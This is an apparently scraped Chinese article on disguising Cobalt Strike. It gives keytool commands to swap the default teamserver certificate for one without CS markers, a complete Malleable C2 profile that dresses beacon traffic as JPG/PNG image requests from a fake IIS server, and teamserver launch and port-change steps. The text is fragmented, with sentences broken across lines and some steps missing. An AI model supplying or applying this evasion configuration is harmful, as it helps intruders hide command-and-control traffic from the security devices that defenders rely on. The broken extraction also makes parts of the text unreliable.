文章来源:LemonSec
Cobalt Strike
的特征进行隐藏、对其通信流量进行混淆。Malleable C2
修改流量特征与修改默认端口三种方式。Cobalt Strike
自带的证书特征过于明显,多数安全设备会基于证书特征进行检测,我们需要修改默认证书中的各种特征来达到隐藏自己的目的。keytools
是一个 Java
数据证书的管理工具,keytools
将密钥(key)和证书(certificates)存在一个称为 keystore
的文件中。keytools
,这里以删除原有证书新建一个无 CS 特征的证书为例。keytools
新建无特征证书keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias google.com -dname "CN=(aa), OU=(bb), O=(cc), L=(dd), ST=(ee), C=(ff)"
(3)修改证书标准并应用
keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12
Cobalt Strike
默认使用名称为 cobaltstrike.store
的证书,可在 teamserver
文件中更改。keytool -list -v -keystore cobaltstrike.store
Malleable C2
是 Cobalt Strike
的一项功能, 意为 "可定制的" 的 C2 服务器。.profile
为后缀的文件,此处以定制一份伪装为图片传输的配置文件为例,文件内容基本分为三部分:(1)基本设置
set sample_name "imgtest";
set sleeptime "5000"; # 心跳包时间
set jitter "0"; # 默认的抖动因子(0-99%)
set maxdns "255"; # 通过DNS上传数据时的主机名最大长度(0-255)
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; # http通信使用的用户代理
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append ".jpg"; # 传输内容自动追加的后缀
uri-append;
}
} server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64; # 加密方式(base64、base64url、netbios、netbiosu)
print;
}
}
}
http-post {
set uri "/email/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".png";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
.prifile
包后利用 c2lint
校验文件可用性。(2)开启服务端并上线靶机测试。
./teamserver 10.10.10.10 123456 c2-profile/imgtest.profile
(3)执行测试命令后抓取伪造的 GET 流量包。
(4)伪造后的 POST 包。
Cobalt Strike
默认通信端口可在 teamserver
配置文件中修改,同时可以修改使用的默认证书名称及证书密码。免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
[1]
Malleable C2:推荐文章++++